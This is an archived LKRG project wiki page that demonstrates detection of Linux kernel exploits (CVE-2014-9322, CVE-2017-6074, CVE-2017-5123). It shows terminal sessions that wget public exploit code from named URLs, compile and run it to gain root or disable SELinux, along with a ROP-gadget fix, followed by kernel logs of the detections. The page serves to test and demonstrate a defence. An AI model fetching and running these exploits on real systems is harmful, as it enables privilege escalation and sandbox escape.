Table of Contents
Historical Linux Kernel Runtime Guard (LKRG) wiki
For up to date information on LKRG, please visit its homepage. We do not currently actively update this section of the wiki. Instead, we recommend the documentation files included in LKRG releases, with their latest revisions found in the GitHub repository, and Adam's presentation describing LKRG as of version 0.8.
This wiki page contained detailed information on early development versions of LKRG roughly up through its 0.0 release made in January 2018. LKRG has since changed, and most of this page's content was finally dropped in 2020 as it became more confusing than useful. However, we preserved the exploit detection examples. Some LKRG messages are now different, but overall LKRG should still catch the same attacks on a vulnerable system in a similar way.
Exploit detection examples
Detecting CVE-2014-9322 (BadIRET) - Fedora 20
Exploit Code: http://site.pi3.com.pl/exp/p_cve-2014-9322.tar.gz
Exploitation Window:
Successful exploitation process can be seen as follow:
If LKRG is installed, exploitation process is detected and successfully stopped:
[pi3@localhost ~]$ uname -a
Linux localhost.localdomain 3.11.10-301.fc20.x86_64 #1 SMP Thu Dec 5 14:01:17 UTC 2013 x86_64 x86_64 x86_64 GNU/Linux
[pi3@localhost ~]$ cat /etc/redhat-release
Fedora release 20 (Heisenbug)
[pi3@localhost ~]$ wget http://site.pi3.com.pl/exp/p_cve-2014-9322.tar.gz
--2017-10-28 13:49:58-- http://site.pi3.com.pl/exp/p_cve-2014-9322.tar.gz
Resolving site.pi3.com.pl (site.pi3.com.pl)... 94.23.197.80
Connecting to site.pi3.com.pl (site.pi3.com.pl)|94.23.197.80|:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 5448 (5.3K) [application/x-gzip]
Saving to: ‘p_cve-2014-9322.tar.gz’
100%[===================================================================================================================>] 5,448 13.8KB/s in 0.4s
2017-10-28 13:50:07 (13.8 KB/s) - ‘p_cve-2014-9322.tar.gz’ saved [5448/5448]
[pi3@localhost ~]$ tar zxvf p_cve-2014-9322.tar.gz
p_CVE-2014-9322/
p_CVE-2014-9322/z_shell.c
p_CVE-2014-9322/db.h
p_CVE-2014-9322/README
p_CVE-2014-9322/procrop.c
p_CVE-2014-9322/setss.S
p_CVE-2014-9322/swapgs.c
[pi3@localhost ~]$ cd p_CVE-2014-9322/
[pi3@localhost p_CVE-2014-9322]$ gcc z_shell.c -o z_shell
[pi3@localhost p_CVE-2014-9322]$ cp z_shell /tmp/pi3
[pi3@localhost p_CVE-2014-9322]$ ls -al /tmp/pi3
-rwxrwxr-x 1 pi3 pi3 8764 Oct 28 13:51 /tmp/pi3
[pi3@localhost p_CVE-2014-9322]$ /tmp/pi3
sh-4.2$ id
uid=1000(pi3) gid=1000(pi3) groups=1000(pi3)
sh-4.2$ exit
exit
[pi3@localhost p_CVE-2014-9322]$ gcc -o procrop procrop.c setss.S
[pi3@localhost p_CVE-2014-9322]$ gcc -o p_write8 swapgs.c setss.S -lpthread
swapgs.c: In function ‘main’:
swapgs.c:175:29: warning: cast from pointer to integer of different size [-Wpointer-to-int-cast]
: "r"(4), "r"((int)p_to_d), "r"(1)
^
[pi3@localhost p_CVE-2014-9322]$ ./procrop 1 &
[1] 20812
[pi3@localhost p_CVE-2014-9322]$
...::: -=[ Exploit for CVE-2014-9322 ]=- :::...
by Rafal 'n3rgal' Wojtczuk
&& Adam 'pi3' Zabrocki
[+] Using kernel target: 3.11.10-301.fc20.x86_64
[pi3@localhost p_CVE-2014-9322]$ ps aux|grep procrop
pi3 20812 39.6 0.0 4308 320 pts/2 RL 13:54 0:05 ./procrop 1
pi3 20814 0.0 0.0 112664 928 pts/2 S+ 13:54 0:00 grep --color=auto procrop
[pi3@localhost p_CVE-2014-9322]$ ./p_write8 1
...::: -=[ Exploit for CVE-2014-9322 ]=- :::...
by Rafal 'n3rgal' Wojtczuk
&& Adam 'pi3' Zabrocki
[+] Using kernel target: 3.11.10-301.fc20.x86_64
[+] mmap() memory in first 2GB of address space... DONE!
[+] Preparing kernel structures... DONE! (ovbuf at 0x602140)
[+] Creating LDT for this process... DONE!
[+] Press enter to start fun-game...
[exploit] pthread runningAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
[1]+ Killed ./procrop 1
Segmentation fault (core dumped)
[pi3@localhost p_CVE-2014-9322]$ ls -al /tmp/pi3
-rwxrwxr-x 1 pi3 pi3 8764 Oct 28 13:51 /tmp/pi3
[pi3@localhost p_CVE-2014-9322]$ /tmp/pi3
sh-4.2$ id
uid=1000(pi3) gid=1000(pi3) groups=1000(pi3)
sh-4.2$ exit
exit
[pi3@localhost p_CVE-2014-9322]$
Detection Window:
If LKRG is installed, exploitation process is detected and successfully stopped:
[root@localhost p_lkrg-main]# tail -f /var/log/kern.log Oct 28 13:55:07 localhost kernel: [1026127.748974] traps: p_write8[20820] general protection ip:400dd0 sp:7f018cc05f00 error:0 in p_write8[400000+2000] Oct 28 13:55:07 localhost kernel: [1026127.772356] [p_lkrg] <Exploit Detection> process[20812 | procrop] has different UID! [1000 vs 0 :( Oct 28 13:55:07 localhost kernel: [1026127.772365] [p_lkrg] <Exploit Detection> process[20812 | procrop] has different EUID! [1000 vs 0 :( Oct 28 13:55:07 localhost kernel: [1026127.772368] [p_lkrg] <Exploit Detection> process[20812 | procrop] has different SUID! [1000 vs 0 :( Oct 28 13:55:07 localhost kernel: [1026127.772370] [p_lkrg] <Exploit Detection> process[20812 | procrop] has different FSUID! [1000 vs 0 :( Oct 28 13:55:07 localhost kernel: [1026127.772372] [p_lkrg] <Exploit Detection> process[20812 | procrop] has different GID! [1000 vs 0 :( Oct 28 13:55:07 localhost kernel: [1026127.772374] [p_lkrg] <Exploit Detection> process[20812 | procrop] has different EGID! [1000 vs 0 :( Oct 28 13:55:07 localhost kernel: [1026127.772376] [p_lkrg] <Exploit Detection> process[20812 | procrop] has different SGID! [1000 vs 0 :( Oct 28 13:55:07 localhost kernel: [1026127.772378] [p_lkrg] <Exploit Detection> process[20812 | procrop] has different FSGID! [1000 vs 0 :( Oct 28 13:55:07 localhost kernel: [1026127.772380] [p_lkrg] <Exploit Detection> Trying to kill process[procrop | 20812]! Oct 28 13:55:07 localhost kernel: [1026127.772880] [p_lkrg] <Exploit Detection> process[20812 | procrop] has different UID! [1000 vs 0 :( Oct 28 13:55:07 localhost kernel: [1026127.772885] [p_lkrg] <Exploit Detection> process[20812 | procrop] has different EUID! [1000 vs 0 :( Oct 28 13:55:07 localhost kernel: [1026127.772887] [p_lkrg] <Exploit Detection> process[20812 | procrop] has different SUID! [1000 vs 0 :( Oct 28 13:55:07 localhost kernel: [1026127.772889] [p_lkrg] <Exploit Detection> process[20812 | procrop] has different FSUID! [1000 vs 0 :( Oct 28 13:55:07 localhost kernel: [1026127.772891] [p_lkrg] <Exploit Detection> process[20812 | procrop] has different GID! [1000 vs 0 :( Oct 28 13:55:07 localhost kernel: [1026127.772893] [p_lkrg] <Exploit Detection> process[20812 | procrop] has different EGID! [1000 vs 0 :( Oct 28 13:55:07 localhost kernel: [1026127.772895] [p_lkrg] <Exploit Detection> process[20812 | procrop] has different SGID! [1000 vs 0 :( Oct 28 13:55:07 localhost kernel: [1026127.772897] [p_lkrg] <Exploit Detection> process[20812 | procrop] has different FSGID! [1000 vs 0 :( Oct 28 13:55:07 localhost kernel: [1026127.772899] [p_lkrg] <Exploit Detection> Trying to kill process[procrop | 20819]! Oct 28 13:55:07 localhost kernel: [1026127.773005] [p_lkrg] <Exploit Detection> process[20812 | procrop] has different UID! [1000 vs 0 :( Oct 28 13:55:07 localhost kernel: [1026127.773008] [p_lkrg] <Exploit Detection> process[20812 | procrop] has different EUID! [1000 vs 0 :( Oct 28 13:55:07 localhost kernel: [1026127.773010] [p_lkrg] <Exploit Detection> process[20812 | procrop] has different SUID! [1000 vs 0 :( Oct 28 13:55:07 localhost kernel: [1026127.773012] [p_lkrg] <Exploit Detection> process[20812 | procrop] has different FSUID! [1000 vs 0 :( Oct 28 13:55:07 localhost kernel: [1026127.773014] [p_lkrg] <Exploit Detection> process[20812 | procrop] has different GID! [1000 vs 0 :( Oct 28 13:55:07 localhost kernel: [1026127.773016] [p_lkrg] <Exploit Detection> process[20812 | procrop] has different EGID! [1000 vs 0 :( Oct 28 13:55:07 localhost kernel: [1026127.773018] [p_lkrg] <Exploit Detection> process[20812 | procrop] has different SGID! [1000 vs 0 :( Oct 28 13:55:07 localhost kernel: [1026127.773020] [p_lkrg] <Exploit Detection> process[20812 | procrop] has different FSGID! [1000 vs 0 :( Oct 28 13:55:07 localhost kernel: [1026127.773022] [p_lkrg] <Exploit Detection> Trying to kill process[procrop | 20819]! Oct 28 13:55:07 localhost kernel: [1026127.773237] [p_lkrg] <Exploit Detection> process[20812 | procrop] has different UID! [1000 vs 0 :( Oct 28 13:55:07 localhost kernel: [1026127.773244] [p_lkrg] <Exploit Detection> process[20812 | procrop] has different EUID! [1000 vs 0 :( Oct 28 13:55:07 localhost kernel: [1026127.773246] [p_lkrg] <Exploit Detection> process[20812 | procrop] has different SUID! [1000 vs 0 :( Oct 28 13:55:07 localhost kernel: [1026127.773248] [p_lkrg] <Exploit Detection> process[20812 | procrop] has different FSUID! [1000 vs 0 :( Oct 28 13:55:07 localhost kernel: [1026127.773250] [p_lkrg] <Exploit Detection> process[20812 | procrop] has different GID! [1000 vs 0 :( Oct 28 13:55:07 localhost kernel: [1026127.773252] [p_lkrg] <Exploit Detection> process[20812 | procrop] has different EGID! [1000 vs 0 :( Oct 28 13:55:07 localhost kernel: [1026127.773254] [p_lkrg] <Exploit Detection> process[20812 | procrop] has different SGID! [1000 vs 0 :( Oct 28 13:55:07 localhost kernel: [1026127.773255] [p_lkrg] <Exploit Detection> process[20812 | procrop] has different FSGID! [1000 vs 0 :( Oct 28 13:55:07 localhost kernel: [1026127.773258] [p_lkrg] <Exploit Detection> Trying to kill process[procrop | 20819]! Oct 28 13:55:07 localhost kernel: [1026127.793696] [p_lkrg] <Exploit Detection> process[20812 | procrop] has different UID! [1000 vs 0 :( Oct 28 13:55:07 localhost kernel: [1026127.793706] [p_lkrg] <Exploit Detection> process[20812 | procrop] has different EUID! [1000 vs 0 :( Oct 28 13:55:07 localhost kernel: [1026127.793709] [p_lkrg] <Exploit Detection> process[20812 | procrop] has different SUID! [1000 vs 0 :( Oct 28 13:55:07 localhost kernel: [1026127.793711] [p_lkrg] <Exploit Detection> process[20812 | procrop] has different FSUID! [1000 vs 0 :( Oct 28 13:55:07 localhost kernel: [1026127.793713] [p_lkrg] <Exploit Detection> process[20812 | procrop] has different GID! [1000 vs 0 :( Oct 28 13:55:07 localhost kernel: [1026127.793715] [p_lkrg] <Exploit Detection> process[20812 | procrop] has different EGID! [1000 vs 0 :( Oct 28 13:55:07 localhost kernel: [1026127.793717] [p_lkrg] <Exploit Detection> process[20812 | procrop] has different SGID! [1000 vs 0 :( Oct 28 13:55:07 localhost kernel: [1026127.793719] [p_lkrg] <Exploit Detection> process[20812 | procrop] has different FSGID! [1000 vs 0 :( Oct 28 13:55:07 localhost kernel: [1026127.793721] [p_lkrg] <Exploit Detection> Trying to kill process[procrop | 20821]! Oct 28 13:55:07 localhost kernel: [1026127.802655] [p_lkrg] <Exploit Detection> process[20812 | procrop] has different UID! [1000 vs 0 :( Oct 28 13:55:07 localhost kernel: [1026127.802665] [p_lkrg] <Exploit Detection> process[20812 | procrop] has different EUID! [1000 vs 0 :( Oct 28 13:55:07 localhost kernel: [1026127.802668] [p_lkrg] <Exploit Detection> process[20812 | procrop] has different SUID! [1000 vs 0 :( Oct 28 13:55:07 localhost kernel: [1026127.802670] [p_lkrg] <Exploit Detection> process[20812 | procrop] has different FSUID! [1000 vs 0 :( Oct 28 13:55:07 localhost kernel: [1026127.802672] [p_lkrg] <Exploit Detection> process[20812 | procrop] has different GID! [1000 vs 0 :( Oct 28 13:55:07 localhost kernel: [1026127.802675] [p_lkrg] <Exploit Detection> process[20812 | procrop] has different EGID! [1000 vs 0 :( Oct 28 13:55:07 localhost kernel: [1026127.802677] [p_lkrg] <Exploit Detection> process[20812 | procrop] has different SGID! [1000 vs 0 :( Oct 28 13:55:07 localhost kernel: [1026127.802679] [p_lkrg] <Exploit Detection> process[20812 | procrop] has different FSGID! [1000 vs 0 :( Oct 28 13:55:07 localhost kernel: [1026127.802681] [p_lkrg] <Exploit Detection> Trying to kill process[procrop | 20812]!
Detecting CVE-2017-6074 - Ubuntu 16.04
Exploitation Window:
Successful exploitation process can be seen as follow:
If LKRG is installed, exploitation process is detected and successfully stopped:
login as: pi3 pi3@10.82.126.31's password: Welcome to Ubuntu 16.04.3 LTS (GNU/Linux 4.4.0-62-generic x86_64) * Documentation: https://help.ubuntu.com * Management: https://landscape.canonical.com * Support: https://ubuntu.com/advantage 111 packages can be updated. 33 updates are security updates. Last login: Sat Oct 28 14:03:29 2017 from 10.82.128.183 pi3@pi3-ubuntu:~$ uname -a Linux pi3-ubuntu 4.4.0-62-generic #83-Ubuntu SMP Wed Jan 18 14:10:15 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux pi3@pi3-ubuntu:~$ cat /etc/debian_version stretch/sid pi3@pi3-ubuntu:~$ wget https://raw.githubusercontent.com/xairy/kernel-exploits/master/CVE-2017-6074/poc.c --2017-10-28 14:05:40-- https://raw.githubusercontent.com/xairy/kernel-exploits/master/CVE-2017-6074/poc.c Resolving raw.githubusercontent.com (raw.githubusercontent.com)... 151.101.52.133 Connecting to raw.githubusercontent.com (raw.githubusercontent.com)|151.101.52.133|:443... connected. HTTP request sent, awaiting response... 200 OK Length: 15767 (15K) [text/plain] Saving to: ‘poc.c’ poc.c 100%[============================================================================>] 15.40K --.-KB/s in 0.03s 2017-10-28 14:05:40 (591 KB/s) - ‘poc.c’ saved [15767/15767] pi3@pi3-ubuntu:~$ gcc poc.c -o poc pi3@pi3-ubuntu:~$ ./poc [.] namespace sandbox setup successfully [.] disabling SMEP & SMAP [.] scheduling 0xffffffff81064550(0x406e0) [.] waiting for the timer to execute [.] done [.] SMEP & SMAP should be off now [.] getting root [.] executing 0x402043 [.] done [.] should be root now [.] checking if we got root Killed pi3@pi3-ubuntu:~$
Detection Window:
If LKRG is installed, exploitation process is detected and successfully stopped:
[root@localhost p_lkrg-main]# tail -f /var/log/kern.log Oct 28 14:07:54 pi3-ubuntu kernel: [ 48.745210] DCCP: Activated CCID 2 (TCP-like) Oct 28 14:07:54 pi3-ubuntu kernel: [ 48.762206] dccp_sample_rtt: unusable RTT sample 0, using min Oct 28 14:07:54 pi3-ubuntu kernel: [ 48.762241] dccp_sample_rtt: unusable RTT sample 0, using min Oct 28 14:07:54 pi3-ubuntu kernel: [ 48.762272] dccp_sample_rtt: unusable RTT sample 0, using min Oct 28 14:07:54 pi3-ubuntu kernel: [ 48.762537] dccp_sample_rtt: unusable RTT sample 0, using min Oct 28 14:07:55 pi3-ubuntu kernel: [ 49.715824] hv_balloon: Received INFO_TYPE_MAX_PAGE_CNT Oct 28 14:07:55 pi3-ubuntu kernel: [ 49.715850] hv_balloon: Data Size is 8 Oct 28 14:07:55 pi3-ubuntu kernel: [ 49.832514] dccp_sample_rtt: unusable RTT sample 0, using min Oct 28 14:07:55 pi3-ubuntu kernel: [ 49.832786] dccp_sample_rtt: unusable RTT sample 0, using min Oct 28 14:07:55 pi3-ubuntu kernel: [ 49.832800] dccp_sample_rtt: unusable RTT sample 0, using min Oct 28 14:07:55 pi3-ubuntu kernel: [ 49.832916] [p_lkrg] <Exploit Detection> Detected pointer swapping attack!process[1371 | poc] has different 'cred' pointer [0xffff880076074900 vs 0xffff88007602c300] :( Oct 28 14:07:55 pi3-ubuntu kernel: [ 49.832956] [p_lkrg] <Exploit Detection> Detected pointer swapping attack!process[1371 | poc] has different 'real_cred' pointer [0xffff880076074900 vs 0xffff88007602c300] :( Oct 28 14:07:55 pi3-ubuntu kernel: [ 49.832990] [p_lkrg] <Exploit Detection> process[1371 | poc] has different UID! [1000 vs 0 :( Oct 28 14:07:55 pi3-ubuntu kernel: [ 49.833011] [p_lkrg] <Exploit Detection> process[1371 | poc] has different EUID! [1000 vs 0 :( Oct 28 14:07:55 pi3-ubuntu kernel: [ 49.833034] [p_lkrg] <Exploit Detection> process[1371 | poc] has different SUID! [1000 vs 0 :( Oct 28 14:07:55 pi3-ubuntu kernel: [ 49.833056] [p_lkrg] <Exploit Detection> process[1371 | poc] has different FSUID! [1000 vs 0 :( Oct 28 14:07:55 pi3-ubuntu kernel: [ 49.833083] [p_lkrg] <Exploit Detection> process[1371 | poc] has different GID! [1000 vs 0 :( Oct 28 14:07:55 pi3-ubuntu kernel: [ 49.833103] [p_lkrg] <Exploit Detection> process[1371 | poc] has different EGID! [1000 vs 0 :( Oct 28 14:07:55 pi3-ubuntu kernel: [ 49.833125] [p_lkrg] <Exploit Detection> process[1371 | poc] has different SGID! [1000 vs 0 :( Oct 28 14:07:55 pi3-ubuntu kernel: [ 49.833147] [p_lkrg] <Exploit Detection> process[1371 | poc] has different FSGID! [1000 vs 0 :( Oct 28 14:07:55 pi3-ubuntu kernel: [ 49.833167] [p_lkrg] <Exploit Detection> Trying to kill process[poc | 1371]! Oct 28 14:07:55 pi3-ubuntu kernel: [ 49.833223] [p_lkrg] <Exploit Detection> Detected pointer swapping attack!process[1371 | poc] has different 'cred' pointer [0xffff880076074900 vs 0xffff88007602c300] :( Oct 28 14:07:55 pi3-ubuntu kernel: [ 49.833257] [p_lkrg] <Exploit Detection> Detected pointer swapping attack!process[1371 | poc] has different 'real_cred' pointer [0xffff880076074900 vs 0xffff88007602c300] :( Oct 28 14:07:55 pi3-ubuntu kernel: [ 49.833289] [p_lkrg] <Exploit Detection> process[1371 | poc] has different UID! [1000 vs 0 :( Oct 28 14:07:55 pi3-ubuntu kernel: [ 49.833308] [p_lkrg] <Exploit Detection> process[1371 | poc] has different EUID! [1000 vs 0 :( Oct 28 14:07:55 pi3-ubuntu kernel: [ 49.833327] [p_lkrg] <Exploit Detection> process[1371 | poc] has different SUID! [1000 vs 0 :( Oct 28 14:07:55 pi3-ubuntu kernel: [ 49.833345] [p_lkrg] <Exploit Detection> process[1371 | poc] has different FSUID! [1000 vs 0 :( Oct 28 14:07:55 pi3-ubuntu kernel: [ 49.833364] [p_lkrg] <Exploit Detection> process[1371 | poc] has different GID! [1000 vs 0 :( Oct 28 14:07:55 pi3-ubuntu kernel: [ 49.833383] [p_lkrg] <Exploit Detection> process[1371 | poc] has different EGID! [1000 vs 0 :( Oct 28 14:07:55 pi3-ubuntu kernel: [ 49.833401] [p_lkrg] <Exploit Detection> process[1371 | poc] has different SGID! [1000 vs 0 :( Oct 28 14:07:55 pi3-ubuntu kernel: [ 49.833420] [p_lkrg] <Exploit Detection> process[1371 | poc] has different FSGID! [1000 vs 0 :( Oct 28 14:07:55 pi3-ubuntu kernel: [ 49.833439] [p_lkrg] <Exploit Detection> Trying to kill process[poc | 1371]!
Guarding SELinux against CVE-2017-5123 - Ubuntu 16.04
Exploitation Window:
Successful exploitation process can be seen as follow:
login as: pi3 pi3@192.168.1.30's password: Welcome to Ubuntu 16.04.3 LTS (GNU/Linux 4.13.0-12-generic x86_64) * Documentation: https://help.ubuntu.com * Management: https://landscape.canonical.com * Support: https://ubuntu.com/advantage 143 packages can be updated. 60 updates are security updates. Unable to get valid context for pi3 Last login: Mon Dec 18 21:43:14 2017 from 192.168.1.16 pi3@pi3-ubuntu:~$ cd selinux/ pi3@pi3-ubuntu:~/selinux$ wget http://www.openwall.com/lists/oss-security/2017/10/25/2/1 --2017-12-18 21:38:55-- http://www.openwall.com/lists/oss-security/2017/10/25/2/1 Resolving www.openwall.com (www.openwall.com)... 195.42.179.202 Connecting to www.openwall.com (www.openwall.com)|195.42.179.202|:80... connected. HTTP request sent, awaiting response... 200 OK Length: 2943 (2.9K) [text/plain] Saving to: ‘1’ 1 100%[============================================================================>] 2.87K --.-KB/s in 0s 2017-12-18 21:38:55 (585 MB/s) - ‘1’ saved [2943/2943] pi3@pi3-ubuntu:~/selinux$ mv 1 selinux.c pi3@pi3-ubuntu:~/selinux$ # Need to fix some offsets and code a bit to not crash the kernel ;p pi3@pi3-ubuntu:~/selinux$ mcedit -d selinux.c pi3@pi3-ubuntu:~/selinux$ gcc selinux.c -o selinux pi3@pi3-ubuntu:~/selinux$ ./selinux [+] Leak size=144 bytes [+] Got kernel base: 0xffffffffa9a00000 [+] Got selinux_enforcing: 0xffffffffaaed1394 [+] Got selinux_enabled: 0xffffffffaaed1390 [+] Overwriting selinux_enforcing... [+] Overwriting selinux_enabled... [+] SELinux disabled! pi3@pi3-ubuntu:~/selinux$
Detection Window:
If LKRG is installed, exploitation process is detected and successfully revert SELinux modifications:
[root@localhost p_lkrg-main]# tail -f /var/log/kern.log Dec 18 22:07:20 pi3-ubuntu kernel: [ 35.473917] p_lkrg: loading out-of-tree module taints kernel. Dec 18 22:07:20 pi3-ubuntu kernel: [ 35.473975] p_lkrg: module verification failed: signature and/or required key missing - tainting kernel Dec 18 22:07:33 pi3-ubuntu kernel: [ 47.934117] kauditd_printk_skb: 2 callbacks suppressed Dec 18 22:07:33 pi3-ubuntu kernel: [ 47.934119] audit: type=1107 audit(1513663653.021:31): pid=1 uid=0 auid=4294967295 ses=4294967295 subj=system_u:system_r:kernel_t:s0 msg='Unknown permission start for class system exe="/lib/systemd/systemd" sauid=0 hostname=? addr=? terminal=?' Dec 18 22:07:33 pi3-ubuntu kernel: [ 47.935801] audit: type=1107 audit(1513663653.022:32): pid=1 uid=0 auid=4294967295 ses=4294967295 subj=system_u:system_r:kernel_t:s0 msg='Unknown permission start for class system exe="/lib/systemd/systemd" sauid=0 hostname=? addr=? terminal=?' Dec 18 22:07:36 pi3-ubuntu kernel: [ 51.372606] hv_balloon: INFO_TYPE_MAX_PAGE_CNT = 268435456 Dec 18 22:07:37 pi3-ubuntu kernel: [ 52.257140] [p_lkrg] <Exploit Detection> Detected data corruption against SELINUX! 'selinux_enabled' has different value [0 vs 1] than expected. Original value will be restored! Dec 18 22:07:38 pi3-ubuntu kernel: [ 53.257408] [p_lkrg] <Exploit Detection> Detected data corruption against SELINUX! 'selinux_enabled' has different value [0 vs 1] than expected. Original value will be restored!
SECCOMP sandbox escape (Google's sandbox) via CVE-2017-5123 - Ubuntu 16.04
Exploit Write-up: https://salls.github.io/Linux-Kernel-CVE-2017-5123/
Exploit Code: https://raw.githubusercontent.com/salls/kernel-exploits/master/CVE-2017-5123/exploit_no_smap.c
Google's SECCOMP filter: https://github.com/salls/kernel-exploits/raw/master/CVE-2017-5123/chrome_seccomp_filter
Note: There is a bug in the ROP chain in that exploit. To be able to successfully run the exploit code following gadget must be fixed:
#define INCREASE_RSP_0x60 0xffffffff811465e6
On Ubuntu kernel 4.13.0-12-generic this gadget increases the stack by 0x50 bytes not 0x60:
(gdb) x/4i 0xffffffffa5200000 + 0x1465e6 0xffffffffa53465e6: add $0x50,%rsp 0xffffffffa53465ea: pop %r10 0xffffffffa53465ec: pop %rbp 0xffffffffa53465ed: retq (gdb)
Appropriate changes need to be made in do_exploit() function to take this into account.
Exploitation Window:
Successful exploitation process can be seen as follow:
login as: pi3 pi3@192.168.1.30's password: Welcome to Ubuntu 16.04.3 LTS (GNU/Linux 4.13.0-12-generic x86_64) * Documentation: https://help.ubuntu.com * Management: https://landscape.canonical.com * Support: https://ubuntu.com/advantage 143 packages can be updated. 60 updates are security updates. Unable to get valid context for pi3 Last login: Tue Dec 19 19:33:00 2017 from 192.168.1.16 pi3@pi3-ubuntu:~$ mkdir -p seccomp/exp/ pi3@pi3-ubuntu:~$ cd seccomp/exp/ pi3@pi3-ubuntu:~/seccomp/exp$ wget https://github.com/salls/kernel-exploits/raw/master/CVE-2017-5123/chrome_seccomp_filter --2017-12-19 19:28:10-- https://github.com/salls/kernel-exploits/raw/master/CVE-2017-5123/chrome_seccomp_filter Resolving github.com (github.com)... 192.30.255.112, 192.30.255.113 Connecting to github.com (github.com)|192.30.255.112|:443... connected. HTTP request sent, awaiting response... 302 Found Location: https://raw.githubusercontent.com/salls/kernel-exploits/master/CVE-2017-5123/chrome_seccomp_filter [following] --2017-12-19 19:28:10-- https://raw.githubusercontent.com/salls/kernel-exploits/master/CVE-2017-5123/chrome_seccomp_filter Resolving raw.githubusercontent.com (raw.githubusercontent.com)... 151.101.52.133 Connecting to raw.githubusercontent.com (raw.githubusercontent.com)|151.101.52.133|:443... connected. HTTP request sent, awaiting response... 200 OK Length: 3712 (3.6K) [application/octet-stream] Saving to: ‘chrome_seccomp_filter’ chrome_seccomp_filter 100%[============================================================================>] 3.62K --.-KB/s in 0s 2017-12-19 19:28:10 (80.1 MB/s) - ‘chrome_seccomp_filter’ saved [3712/3712] pi3@pi3-ubuntu:~/seccomp/exp$ wget https://raw.githubusercontent.com/salls/kernel-exploits/master/CVE-2017-5123/exploit_no_smap.c --2017-12-19 19:30:00-- https://raw.githubusercontent.com/salls/kernel-exploits/master/CVE-2017-5123/exploit_no_smap.c Resolving raw.githubusercontent.com (raw.githubusercontent.com)... 151.101.52.133 Connecting to raw.githubusercontent.com (raw.githubusercontent.com)|151.101.52.133|:443... connected. HTTP request sent, awaiting response... 200 OK Length: 13121 (13K) [text/plain] Saving to: ‘exploit_no_smap.c’ exploit_no_smap.c 100%[============================================================================>] 12.81K --.-KB/s in 0.03s 2017-12-19 19:30:00 (450 KB/s) - ‘exploit_no_smap.c’ saved [13121/13121] pi3@pi3-ubuntu:~/seccomp/exp$ # Need to fix exploit code (ROP gadget alignment) to not crash the kernel ;p pi3@pi3-ubuntu:~/seccomp/exp$ mcedit -d exploit_no_smap.c pi3@pi3-ubuntu:~/seccomp/exp$ gcc exploit_no_smap.c -o exploit_no_smap -lpthread pi3@pi3-ubuntu:~/seccomp/exp$ ./exploit_no_smap Installed sandboxes. Seccomp, chroot, uid namespace == found kernel base 0xffffffffa5200000 Executing rop chain Should be root # id uid=0(root) gid=0(root) groups=0(root) context=system_u:system_r:kernel_t:s0 # exit
If LKRG is installed, exploitation process is detected and successfully stopped:
pi3@pi3-ubuntu:~/seccomp/exp$ ./exploit_no_smap Installed sandboxes. Seccomp, chroot, uid namespace found kernel base 0xffffffffa5200000 Executing rop chain Should be root Killed pi3@pi3-ubuntu:~/seccomp/exp$
Detection Window:
If LKRG is installed, exploitation process is detected and successfully stopped:
Dec 19 19:33:58 pi3-ubuntu kernel: [ 70.645615] [p_lkrg] <Exploit Detection> Detected pointer swapping attack!process[1486 | exploit_no_smap] has different 'cred' pointer [0xffff9560a5d886c0 vs 0xffff9560a5d88300] Dec 19 19:33:58 pi3-ubuntu kernel: [ 70.645653] [p_lkrg] <Exploit Detection> Detected pointer swapping attack!process[1486 | exploit_no_smap] has different 'real_cred' pointer [0xffff9560a5d886c0 vs 0xffff9560a5d88300] Dec 19 19:33:58 pi3-ubuntu kernel: [ 70.645685] [p_lkrg] <Exploit Detection> process[1486 | exploit_no_smap] has different UID! 1000 vs 0 Dec 19 19:33:58 pi3-ubuntu kernel: [ 70.645704] [p_lkrg] <Exploit Detection> process[1486 | exploit_no_smap] has different EUID! 1000 vs 0 Dec 19 19:33:58 pi3-ubuntu kernel: [ 70.645723] [p_lkrg] <Exploit Detection> process[1486 | exploit_no_smap] has different SUID! 1000 vs 0 Dec 19 19:33:58 pi3-ubuntu kernel: [ 70.645742] [p_lkrg] <Exploit Detection> process[1486 | exploit_no_smap] has different FSUID! 1000 vs 0 Dec 19 19:33:58 pi3-ubuntu kernel: [ 70.645761] [p_lkrg] <Exploit Detection> process[1486 | exploit_no_smap] has different GID! 1000 vs 0 Dec 19 19:33:58 pi3-ubuntu kernel: [ 70.645780] [p_lkrg] <Exploit Detection> process[1486 | exploit_no_smap] has different EGID! 1000 vs 0 Dec 19 19:33:58 pi3-ubuntu kernel: [ 70.645799] [p_lkrg] <Exploit Detection> process[1486 | exploit_no_smap] has different SGID! 1000 vs 0 Dec 19 19:33:58 pi3-ubuntu kernel: [ 70.645817] [p_lkrg] <Exploit Detection> process[1486 | exploit_no_smap] has different FSGID! 1000 vs 0 Dec 19 19:33:58 pi3-ubuntu kernel: [ 70.645836] [p_lkrg] <Exploit Detection> Detected SECCOMP corruption!process[1486 | exploit_no_smap] has corrupted TIF_SECCOMP flag! [1 vs 0] Dec 19 19:33:58 pi3-ubuntu kernel: [ 70.645862] [p_lkrg] <Exploit Detection> Detected SECCOMP corruption!process[1486 | exploit_no_smap] has different SECCOMP mode! [SECCOMP_MODE_FILTER vs SECCOMP_MODE_DISABLED] Dec 19 19:33:58 pi3-ubuntu kernel: [ 70.645894] [p_lkrg] <Exploit Detection> Detected SECCOMP corruption!process[1486 | exploit_no_smap] has different SECCOMP filter pointer! [0xffff9560a4345600 vs 0x (null)] Dec 19 19:33:58 pi3-ubuntu kernel: [ 70.645925] [p_lkrg] <Exploit Detection> Trying to kill process[exploit_no_smap | 1486]! Dec 19 19:35:25 pi3-ubuntu kernel: [ 157.976342] hv_balloon: Balloon request will be partially fulfilled. Balloon floor reached.
CVE-2017-1000112: memory corruption due to UFO to non-UFO path switch - Ubuntu 16.04
Exploitation Window:
Successful exploitation process can be seen as follow:
